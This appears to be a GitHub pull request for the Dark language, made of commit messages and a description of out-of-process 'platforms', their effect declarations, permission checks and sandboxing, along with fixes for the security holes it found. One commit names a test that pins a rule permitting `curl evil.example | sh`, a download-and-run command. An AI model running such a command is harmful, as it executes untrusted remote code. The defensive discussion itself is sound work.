answer. It just has to be one you can see. Also adds `LocalExec platforms doors <effect>`, which lists every door to one effect with its signature. The summary truncates, and the effect worth splitting is always the one whose list was too long to print.
Two gaps in my own work, both the kind that only show up much later. The shipped `fetch.manifest` names `Stdlib.HttpClient.Response` and `Stdlib.Result.Result` symbolically and resolves them against whatever store installs it. That is the design working, and it is also how a shipped manifest rots: rename either type and the manifest silently stops resolving, with nothing to notice. There is a test now, and it checks the resolved type table is non-empty, since an empty one means the plugin gets no hashes and can only answer with primitives. Verified by renaming a type in the manifest and watching it fail, rather than by trusting a green run. The sandbox plan gets a test over its three branches, the important one being that a platform declaring `native` gets no wrapper and says "not confined". A namespace that reads as more than it is would be worse than none.
The door count, in the command people already run to see what a build has, rather than a report I run. It needed `effects` on the Dark `BuiltinFunction`, and that was the real gap. Platform-level effects already reached Dark, but a platform's list is the union of its builtins', so it says `Files` reaches `file-write` and not which four functions are the reason. Per-builtin is the granularity the question is actually asked at. A builtin reaching two effects is listed under both, because it is a door to both; counting it once under whichever came first would undercount exactly the functions worth looking at. The total is de-duplicated separately, since summing the groups would report more builtins than exist. The summary says how much of the surface is a door at all, which is the encouraging half of the number and the half that disappears if you only print the groups. An installed external platform's builtins turn up in the same listing under the same effects. Not something I built for; it falls out of the composed set being what the listing reads. Worth noticing, because it means the out-of-process half is not a separate world with its own commands. `BuiltinFunction` is pinned but not hardened, so this is an ordinary reload. The hardened list is short on purpose, and this is a decent demonstration of why: the things that are hardened are the ones where a move should stop you.
…omments Two tidying passes over this round's own work. The trust list moved from `Platforms.Sets` to `PermissionCheck`, beside `callerIsBundled`. It is not a fact about which platform ships what; it is a runtime trust mechanism, and it belongs with the mechanism. That also puts it below the catalog, where everything that needs to read it can. Which made the remaining gap obvious. The dev report printed the trust-gated builtins and `dark builtins`, the command a person actually runs, did not. Having just argued that an invisible gate is the problem, leaving it visible only in a tool I run would have been the same mistake one level up. They are marked `*` in the listing now, always rather than behind a flag, with a legend that only appears when something on screen carries the mark. A second gate you have to ask for is a second gate nobody knows to ask about. Separately, a grep for point-in-time language in this round's comments. Three said "before this existed" or named a count that will move. All the same mistake: describing the change rather than the thing, which reads as noise to someone who has no idea which commit is meant. One older one turned up with them, on `Sets.cli`: "currently the whole catalog... the same answer today". The temporal words were carrying the meaning there, which is why they survived the last pass. Stated structurally instead: two questions that happen to share an answer, only one of which is expected to shrink. Same meaning, no clock in it.
New network-facing surface with an auth decision in it, and nothing in the suite touched it. The scratch script that proved it worked is not a test. The refusals are the half worth asserting and the half that needs no store: a hash that is not a hash is a 400 rather than a 404; upper-case hex is refused too, since the store files blobs in lower case and accepting it would be a 404 for bytes the relay is holding; a well-formed hash nobody has is a 404; and `POST /blob` with no secret configured is a 401. Called as functions, no socket. The 200 path is deliberately not in that tier. Its package manager answers None for blob reads and drops blob writes, so a round trip there asserts that the handler returns what the store gave it, which is 404, and would keep passing if the endpoint stopped serving bytes entirely. A test that cannot fail for the reason you care about is not coverage, so the comment says so and points at where the real round trip is. Found by writing it rather than by reading the harness: the write appeared to succeed and the read came back empty, which is what a no-op `persistBlob` looks like from outside. A store that accepts everything and holds nothing fails silently in the direction of green.
`dark platforms` prints what is installed but not running, with the reason. Then
typing that name answered "No platform named 'ClashProbe' in this build", which
is the listing contradicting itself one command later.
Two different facts had been collapsed into one. "You do not have that" and "you
have it and it is not running" are different answers, and the second is what is
being asked for at that moment: you read the name in the skipped section and
typed it to find out more.
ClashProbe is installed, but is not running in this session.
fn httpClientRequest@0 is already provided by HttpClient
Nothing it provides is callable until that is resolved.
Worth noting how this got here. Making the skip visible in the listing was the
fix for an invisible failure, and it created a new inconsistency one command
over. A fact surfaced in one place is not surfaced; every path that answers a
question about that fact has to know it.
Third time this round for the same shape: activation had to learn about
installed platforms, the trust list had to reach the user-facing listing and not
only the report, and now the detail view has to know what the listing knows.
`dark platforms help` said "Every binary links all of them". True when it was written, false as of this round: an installed external platform is not linked, it is another process, which is the whole point of it. The same claim was in the module header, in different words. Neither reads as wrong, which is the bad kind of wrong: it renders fine and teaches the wrong model. Nothing pointed at either one, because prose has no type checker and the help kept printing correctly through a dozen edits to the same file. The help also gains the thing worth knowing, which was only in a commit message until now: what a platform declared is also what confines it, and `platforms <Name>` says so on its `confined` line. A feature that appears only in a commit message is a feature nobody has.
`platforms tighten` ends with the builtins that are `Impure` and declare no effects. That is the shape an under-declaration takes, and it is the list to read when you want to find one. It was dominated by entries that are correct and always will be. `List.map` is `Impure` because the lambda it is handed may be, not because mapping reaches anything, and every higher-order function and stream combinator is in that category. Together they were most of the list, so the entries that are real questions sat in the middle of them unread. Split by whether the builtin takes a function anywhere in its parameters, which is exact rather than a heuristic: that parameter is the reason those entries are impure. The lambda group is one line at the bottom now, named as correct so nobody re-audits it. What is left is short enough to read, which was the original claim about this list. It holds the sqlite builtins, which decide in the body on purpose, and things like `configSet` and the stream primitives, which say they reach nothing and plainly do something. Those are the real backlog, and they were already flagged: nothing was hidden, it was just unreadable. A report that is technically correct and nobody reads is not a report. The fix was not more information, it was less, arranged so the part with a question in it is on its own.
`dark platforms` listed installed external platforms inline with linked ones,
with nothing to tell them apart. That was deliberate: a linked platform and a
spawned one look the same, so an external one is not presented as second class.
The symmetry was the right instinct about STATUS and the wrong answer about
PROVENANCE, which is what a person is actually asking. "Which of these run
somebody else's executable on my machine" is a fair question and had no
glanceable answer; the detail view distinguished them only by implication, since
only a process has a `confined` line.
EchoPlatform@0 4 fns [acme/serial] *
Fetch@0 1 fn [http] *
Files@0 9 fns [file-read file-write]
* runs as a separate process, from a platform you installed
The names come from the install record, not from the artifact hash: a platform
can be external and ship nothing for this machine, and it is still not part of
this binary. Read once for the whole listing rather than per row, since it is a
file read behind a builtin.
The legend prints only when something on screen carries the mark. A legend for a
glyph nobody saw is noise on every run of the common case, which is an instance
with nothing installed.
`Random` was one idea at eleven widths. `Int8` through `UInt32` are now Dark over `int64Random`, and `UInt64` is Dark over `intRandom`. Every public signature is unchanged; what moved is where the width arithmetic lives. No distribution changes. The trap here is modulo bias, and it is only reachable if the primitive hands back raw bits. It does not: `int64Random` calls `.NextInt64(range)` and `intRandom` draws over BigInt with rejection, so both are already uniform over an inclusive range. Dark that widens its bounds, calls one, and narrows the result never does the reduction itself. It landed at four doors rather than the three I predicted, and the extra one is the reason to have read the implementations. `listRandomElement` does NOT move. It draws from the CRYPTOGRAPHIC RNG while every numeric variant draws from a seeded `System.Random`. Reimplementing it as "random index, then getAt" would have swapped one for the other with every signature identical and nothing anywhere to notice. Same effect, same platform, different guarantee. `UInt64` is the width that proves the design: its top half is above `Int64.max`, so a path that widened bounds to `Int64` could not represent them at all. One width on a different primitive from its siblings looks like an inconsistency and is the opposite. Verified by asking rather than by reasoning. Bounds hold for every width; an `Int8` range of eleven values produces all eleven, so it is neither stuck nor piled on an endpoint; and the `UInt64` top half draws two hundred distinct values inside its bounds, which is exactly the case the widening shortcut would have broken. Each Dark implementation narrows back to its own width and must handle a `None` that cannot occur, since the value came from a range whose endpoints are values of that type. The fallback is `start` rather than zero, so even the impossible answer is inside the range asked for. Adds `UInt64.fromInt`, the only conversion into that type from something wider, which is why `random` needs it.
The `random` effect covers a cryptographic generator and a seeded one, and nothing told a caller which they had. `List.randomElement` and `Uuid.generate` draw from the system generator; every numeric draw goes through a `System.Random` seeded per call, which makes it unpredictable but narrow, about 31 bits of entropy however wide the return type. Both sides now say so. The builtin descriptions are what an implementer reads; the Dark wrapper docs are what a caller reads, through `dark search --with-docs` and hover. I wrote it in the builtin descriptions first and then checked where a person actually meets the text. `dark builtins --with-sigs` prints signatures and not descriptions, so that version was reaching nobody. "I documented it" is a claim that somebody will encounter the words, not that a file contains them, and the difference is worth checking rather than assuming. Both directions, not only the warning. The numeric draws say they are not cryptographic and roughly how narrow; the other two say they are, and that it costs speed. A note that only ever warns teaches people that unannotated means safe. What this does not do: the policy still cannot tell the two apart, since both declare `random`, so a rule granting it grants both. Splitting the effect would fix that and costs a case in the `Effect` union, which moves a hardened package ref and rehashes the corpus. That is a decision about the vocabulary rather than a tidy-up.
Carried the method that found the RNG split to the other effects: read what every builtin under one effect actually does, and see whether the effect covers more than one kind of thing. `clock` came back clean. `process` did not. `Cli.execute` does not run a process. It runs `$SHELL -c <command>`, falling back to `/bin/bash`, so pipes, globs, `;` and `$(...)` all work. That is usually why you want it, and it makes a command built from untrusted input a command injection. The description said, in full, "Runs a process; return exitCode, stdout, and stderr". Which made the permission rule mean something other than it reads. The request the policy sees names the SHELL and carries the whole command line in its arguments, and a rule naming an executable and nothing else scopes its arguments to `All`. So `allow process /bin/bash` permits every command bash can run. That default is right for `allow process /usr/bin/git`, written by hand, and wrong here. And `suggestRule` was handing people that grant. Its own doc promises "the NARROW `permissions allow <rule>` text that covers this request", and for a process it returned the program alone, so at the moment somebody decides whether to trust a spawn it offered a grant far wider than the thing being asked about. Every other case includes the specific resource: the URL, the path, the variable name. This one includes the argv now. Two tests pin it: the benign case, and a shell rule permitting `curl evil.example | sh`, which is the behaviour that was always there and is now written down. The descriptions on both sides say "THROUGH A SHELL" and point at `Posix.spawnAndWait` for when you do not want one. The cost, rather than glossing it: a narrower suggestion means somebody running two different git commands is asked twice. That is the correct price of a grant that means what it says, and the wide form is one edit away. Nothing here was broken. Every function did what its implementation said, the tests passed, and rules matched correctly. The defect was entirely in what the words led a person to believe, which is the only place a permission system can really fail: it exists to help somebody make a decision, and a correct machine that describes itself wrongly makes that decision worse than no machine would.
A platform in another process declaring a SCOPED effect got that effect with the policy never consulted. My own work, this round. Found by accident while auditing something else. My instance policy ended in `all`, which is not the shipped default; removing it to see real behaviour is what exposed this. On the default policy the LINKED `HttpClient.request` was correctly refused, and the EXTERNAL `Fetch` platform, declaring `effect http`, returned 200. The mechanism is nobody's mistake but mine. The interpreter's ambient gate skips scoped effects on purpose, and its comment says why: a linked builtin's body builds an `Operation` naming the resource, and the host boundary checks that instead. That reasoning is right and has one unstated premise, that there is a body. An external platform has none. It performs its own I/O inside its own process, the boundary is never reached, and the skip becomes a bypass. I added that path and never asked what the gate above it assumed. `Request.WholeEffect` asks the only question that can be answered honestly. The host never learns which URL the platform will fetch, so no narrow rule can be checked against it; this asks whether the whole effect was granted. `allow http` and `all` satisfy it. `allow http GET 'https://example.com'` deliberately does not, because nothing would hold the platform to that URL. external Fetch, default policy: denied. To allow: `permissions allow http` external Fetch, allow http: 200 linked HttpClient, narrow rule: 200 external Fetch, narrow rule: denied The asymmetry is the right outcome rather than a wart. A linked platform can be held to one host; an external one can only be granted the network entire. That is a true statement about what running somebody else's process costs, it belongs where somebody deciding can see it, and it gives a real reason to prefer a linked platform for a scoped effect that I could not argue before. The sandbox never covered this. A network namespace already stopped a platform that never declared `http`, and could never have stopped one that declared it and was not granted it, because confinement is built from the DECLARATION and the policy is what decides whether the declaration is honoured. Two mechanisms, two questions; I had been treating the first as though it covered the second.
Following the last fix with its general form: what else does the described-platform path assume that the linked path provides? A throwaway platform that lies about its return type in four ways, and asked. Three were caught cleanly. An `Int64` where a `String` was promised: refused, naming both types. A `List<String>`: refused. A tag the decoder does not know: refused at decode, with the tag number. The fourth was not. A `DDB` sent where a `String` was promised type checks, because `Dval.toValueType` maps `DDB` to `ValueType.Unknown` and Unknown unifies with everything. That mapping is honest rather than sloppy: a table name carries no element type, so the runtime genuinely cannot say what a `DDB` is. It means "I cannot tell". For a handle this runtime minted, that is harmless. For one arriving from outside, it is exactly the wrong default. The impact is confusion rather than escalation, checked rather than assumed: using the forged handle fails, because the name is looked up in the program's own database set and is not there. So it is not a route to a database you were not given. It is a route to `Arg_KeyNotFound`, a raw .NET exception, surfaced to somebody who called a function that promised a string. The fix is a principle this design already had, applied where I had not. A `DDB` names a resource here; a `DApplicable` names code here. Neither was handed to the platform and neither can be, so either arriving is a forgery rather than an answer. The wire refuses both, for the same reason it refuses `DStream`: what cannot honestly cross does not cross. It is the same rule as host-minted handles for raw descriptors, decided long ago, which I did not think to apply to values coming back. Recursive, because a shallow check is one you walk around by wrapping the value in a list. Incoming only: a signature that could carry a handle OUT is already refused at install by the `travels` check. That asymmetry is correct rather than an oversight, since outgoing is governed by a signature this runtime approved and incoming is governed by nothing but the wire.
The description listed "a wedged platform must not wedge the CLI" as open, and I had been reading my own crash handling as covering it. A platform that sleeps proves otherwise in one command: the call never returned and `timeout 40` had to kill the CLI. Three failures, two of which were handled. A platform that CRASHES closes its pipe and the read ends early, which the spike found. One that dies MID-ANSWER returns a short buffer without raising, caught by comparing against the promised length. One that goes SILENT, alive and never replying, blocked forever. The first two announce themselves; the third is the absence of an event, and an absence is not something a `try` catches. The read cannot be cancelled: a pending read on a Unix pipe does not observe a token, so waiting on a task and abandoning it would leak a thread for the life of the CLI. Killing the process closes the pipe and lets the stranded read fail on its own, so the kill is the remedy rather than a cleanup after one. The deadline is not a service level and the comment says so. A number short enough to be a useful responsiveness guarantee would also cancel legitimate slow work, and nothing here can tell a slow platform from a stuck one: `Fetch` making a real request looks exactly like `Fetch` hung on a socket. So it is minutes, deliberately too long for anything except the job it has. The test takes its own deadline, because proving that waiting ends should not mean waiting the shipped amount. It asserts the call returned and named the platform, not that it was prompt. Worth recording how the old wording went wrong: "a wedged platform gets dropped and restarted on the next call, which is cheap and not the same as being handled". True of a crash, reads as though it covers a hang, and I believed it until I wrote a platform that sleeps. A sentence that is true about the case you tested is the most comfortable kind of wrong.
Following the deadline into the next question: what else in a frame does the platform choose and the host believe? The first field. Everything after the length prefix was read on the platform's say so, unbounded. A platform announcing a frame far past anything sensible got that much read; the reader had no opinion about whether the number was reasonable, because the number is what tells it what reasonable means. The negative case is worse than the large one and is the one that bit. A length of -1 is not a size, and what happens next is whatever the reader does with nonsense. Here it hung: the call never returned and a ninety second timeout had to kill the CLI. Refused now, with the number in the message. Bounded at sixty-four megabytes, chosen to be obviously unreached: far above any answer and far below anything that hurts. A platform with more to say than that should hand back a blob reference, which is what the table beside the payload is for. One measurement I made badly, recorded because the shape is worth recognising. I tried to show the cost of the unbounded case with `/usr/bin/time -v` and read a small resident size as evidence nothing was allocated. The CLI runs through a container, so that number described the docker client, not the process doing the reading. Real figure, wrong process, and more convincing than a guess would have been. What demonstrates it needs no measurement: with the bound raised above the announced length the host sits waiting for bytes that never come, and with the bound in place it refuses in under three seconds. That is what the test asserts.
Last of the sweep over what a platform can do that its manifest does not mention. Its stdout is the pipe; its stderr was nobody's, so it went straight to the terminal. A platform declaring one custom effect and no `stdout` painted the screen red, with escape sequences intact. Not a contradiction in the effect system so much as a gap beside it: effects describe what a platform's BUILTINS may do, and a process has a file descriptor either way. Unattributed output is a spoofing surface rather than only noise, since escapes can clear the screen, move the cursor, or draw something that reads as a question from this program. Every line is prefixed with the platform's name now, and escape sequences are removed WHOLE. Whole, because dropping the escape byte alone leaves its tail as literal text: a coloured line arrives as `[31mhello[0m`, which is safe and reads like a bug in this code. I shipped that version for about ten minutes before looking at the bytes. Not discarded, which was the other option. A platform author debugging a plugin has nowhere else to look, and silence would be paid for by exactly the person the feature exists for. It paid for itself within the hour. The end-to-end demo then failed, and the reason was a line the child had been writing all along that nobody could see: `unshare: failed to execute ...: No such file or directory`. Before this, that went to a terminal nobody was reading and the host reported only a broken pipe. The failure underneath was the permission system working. The demo had been relying on an instance policy that was wide until today. On a default policy it needs four grants, each refusal accurate and specific: binding a port, reading the relay's own write secret from the environment, and `package-write` to store what was pushed. They are in the scratch script now with a line saying why. Worth stating on its own, because it is a deployment fact nobody has written down: a stock instance cannot accept relay writes without an explicit grant. Serving reads needs nothing; accepting writes is a decision.
Pulling the loose end from the last commit: what a relay operator actually saw.
When an HTTP handler raises, the server turned the error into a `DString`. The
layer above then saw a `String` where a `Response` was expected and did exactly
what it should with that: reported a type mismatch, quoted the value, and
explained at length what a `Response` looks like.
So the real message, "permission denied by instance policy: reading env
`DARK_MATTER_WRITE_SECRET` is not allowed. To allow: ...", arrived quoted inside
a paragraph about record fields, and truncated. The one line carrying both the
diagnosis and the fix was the least prominent text on screen.
A handler that raised and a handler that returned the wrong type are different
failures and should not read alike. The raise now produces an actual `Response`
with status 500 and the error as its body, so the layer above has nothing to
misreport:
$ curl -X POST .../blob
Handler error: Uncaught exception: permission denied by instance policy:
reading env `DARK_MATTER_WRITE_SECRET` is not allowed. To allow:
`permissions allow env read 'DARK_MATTER_WRITE_SECRET'`.
No new disclosure: the error text already reached the client, inside the type
complaint. This changes how it reads, not who sees it. Worth checking rather
than assuming, since "make the error clearer" is exactly the change that quietly
starts leaking internals.
Both layers were behaving correctly, which is why this survived. The server is
right to turn a raise into a value; the HTTP layer is right to complain about a
value that is not a `Response`. The defect lived in the join, where a deliberate
signal from one layer was indistinguishable from a mistake to the other, and
neither file looks wrong when you read it alone.
`dynamicEffects` says what the server may request from inside its body when request logging is on, and its comment said "keep it equal to the set passed to `requireBuiltinEffectsWithAccess` above". Two equal-looking literals in one file, held together by a sentence. The existing test does not cover it and looks as though it does. `declaredEffectsMatchReality` compares each platform's declared surface against a promise table, so a body that starts requesting something new, with `dynamicEffects` left alone, changes neither side and the test still passes. It checks the declaration against the promise, not the declaration against the body. The drift would go the wrong way, which is why it matters. A platform's advertised surface understating what it may do is the direction that costs somebody something: a person reading `dark platforms HttpServer` before deciding to run it would see less than the truth. The body asks for the binding now, so the two cannot disagree. Better than a test that catches disagreement, because there is nothing left to disagree. `Sqlite` already does this correctly and has a test besides. Worth noticing that the file with the careful comment was the one that drifted and the file with the test was not. Fourth time today for this shape: the first-party trust list, the interpreter/compiler grid, the always-on platform list, and this. Each is a fact written down twice with prose asking somebody to keep the copies equal. The lesson is not "add a test" but that the best of the four stopped being two facts.
Everything this round learned about running somebody else's process lives in commit messages, which is the wrong place for it. The person who needs it is whoever next adds to the described-platform path, and they will be reading `PlatformSpawn`. The module doc now says what the host assumes about a platform, which is nothing. It may lie about its return type, mint a handle into this runtime, crash, die mid-answer, go silent, announce a frame length that is nonsense, and write to a terminal it never declared. Each was a real hole before it was a rule, and the list says so, because a defence whose reason is forgotten is a defence somebody removes. It also says what the host does NOT defend against, which matters more: a platform that declares an effect, is granted it, and then abuses it. A platform granted the network may talk to anyone. Nothing here can stop that, and seven protections listed without saying where they stop would leave a reader more confident than the code deserves. Checking the list against the tests found one claim resting on probes I had since deleted: that the type checker catches a platform lying about its return type. It does, and now a test says so. Writing the guarantees down paid for itself before anybody else read them. The last line is the one to keep. Ask what the machinery ABOVE the thing you are adding assumes. Every hole in that list came from not asking: the effect gate skips scoped effects because a linked builtin's body checks them instead, and the type checker trusts `toValueType`, which answers honestly for values this runtime minted. Both assumptions are correct, and both are invisible at the point where they stop holding.
The commit after the one that wrote it added `aDescribedBuiltinResolvesByName`, which parses `Builtin.acmeReadTag ()` under a state whose catalog carries the described platform and gets the right answer. The comment above the other tests was left saying the opposite, in the same file.
Seven lessons the platform work paid for, none of them specific to platforms: source-text greps are where every wrong number came from, measure before building, a check can cost more than what it checks, sweep rather than sample, read the artifact end to end once, break each test on purpose, and write the contract where the next person stands. They were in a working note that has been folded away. This is where they get read.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
(at this point, directional experiment)
Builds on #5720, which is what made it possible; I haven't changed that model. It draws two lines
where you'd draw them if you were the only one shipping builtins: builtins are one flat set every
binary has all of, and
Effects.Effectis a closed union. Both fine. I wanted to see what they looklike if somebody outside this repo wants to add to them. Platform framing from Roc, diverging on
exclusivity (below).
What it does
A platform is a named, versioned bundle of builtins plus the effects those builtins can perform. Ask
what a program needs, then give it that and nothing else:
You find out it worked by running the thing, not by reading a report:
eval,runand the REPL ask. Nothing non-interactive does, so scripts and CI get the message andthe command instead of a prompt they can't answer.
A library can name an effect we've never heard of, and you answer it in the same terms:
What made it possible
runtime, so a platform described by a manifest is the same kind of thing as one this binary links,
and four assemblies can ship several platforms each.
External.Fnis a name, parameter types, a returntype and a set of effects. The runtime type checks a call against that description before the
thing it describes has ever run, which is what lets a platform exist outside this repo.
FQTypeNameis a content hash, soStdlib.Resultcannottravel as one: no third party can know it. The manifest says the name and the consumer resolves
it, which also means a manifest that wants a type you don't have says so at install.
Effects.EffectgainsCustom of string, namespacedowner/name, plusPolicyReadandPolicyWrite. The effect vocabulary stops being closed.ProgramTypeskeeps its shape.PackageFnstill carriespermissionCeiling : Option<Set<Effects.Effect>>; no field added, none moved. What changed isthat field's DOMAIN, and that rehashes the corpus: a
PackageOpcarries a function, which carriesa ceiling, so the effect vocabulary sits inside the hash of the type every op is written as.
Changing what a capability can be moves a hardened package ref, and the guard caught it.
stored approval can tell whether the floor moved. It covers names, versions, types and effects,
and deliberately not descriptions or parameter names.
Smaller:
RuntimeTypesgains aPlatformrecord and threeExecutionStatefields;RuntimeError.ErrorgainsBuiltinNotActive;Permissions.RequestgainsCustomandWholeEffect;LibParser's:{...}row takes a quoted string beside an identifier; the DarkBuiltinFunctiongainseffectsandfirstPartyOnlyso a listing can show both gates.A platform doesn't have to be in this repo
A platform can be a native executable, in any language, that Dark spawns and speaks a pipe to. It
ships as a package: a manifest you read before trusting it, plus one artifact per (os, arch), each
addressed by the SHA-256 of its bytes. You approve a hash rather than a hostname.
Installing is not activating, and neither is permission. Three questions: do I have it, may my code
ask for it, does the policy let the ask through.
What a manifest's effects decide
Whether the call is allowed. An out-of-process platform does its own I/O, so the host never
learns the URL and no narrow rule can honestly be checked against it. The gate asks whether the
WHOLE effect was granted:
A linked platform can be held to one host; an external one can only be granted the network entire.
That is the honest cost of another process, and an argument for staying linked when an effect can be
scoped.
And how the process is confined. One that never mentioned the network is started in an empty
network namespace, so its executable can't phone home whatever its code says:
unshare --map-current-user --net: no privileges, no daemon, nothing to install. Covers thenetwork, not the filesystem or syscalls. Fails VISIBLE, so a machine that can't confine still runs
the platform and says so on that line;
nativegets none and is told so.The two don't substitute for each other. Confinement is built from the declaration; the policy
decides whether the declaration is honoured.
Decisions
permissions deny Sqlitedoesn't work: aRuleischecked against a
Request, and a request doesn't know which platform produced it, so it couldonly mean
deny native, which also deniesPosix,Process,SeedandPolicy.provides. Shadowing was the alternative and I didn't take it: a builtin quietly becoming somebody
else's code is worse than any error message. Swapping the built-in HTTP client for a sandboxed one
needs a person to ask out loud, and I haven't designed that.
is that code-push and binary-push become one right. A second secret is the upgrade and invalidates
nothing, since clients verify hashes either way.
content-addressed items in a corpus that syncs, so
Stdlib.List.mapwould belong to one platformand the corpus would fork. Doing it per session seems to get the same property.
dark builtins --by-effectcounts how many builtins reacheach effect.
package-readis the widest by a distance, from five platforms, so "fewer builtins"points at the store's vocabulary rather than at the OS-facing platforms, which are already small.
Cost and what's open
fine-grained. Move a platform out when its calls are already expensive AND its effects are narrow
enough for a namespace to mean something.
Sqliteis neither, despite being the one I'd havemoved first.
Effects.Effectcarrying data means it's no longer an enum-like union, on a per-builtin-callpath. First suspect for a small allocation regression; I raised the budget rather than chase it.
DStreamcan't cross a process boundary and shouldn't try, soHttpClient.streamhas noout-of-process form. Native code is still arbitrary code.
LibDB/PlatformSpawn.fs. Its module doc lists what the hostassumes a platform might do, and the one thing it can't defend against: a platform that declares
an effect, is granted it, and then abuses it.
Cli.executeruns$SHELL -c, soallow process /bin/bashmeant "may run anything"; the suggestion includes the argv now. AndRandomwent from eleven builtins to four, which surfaced thatList.randomElementdraws fromthe cryptographic RNG while the numeric draws don't.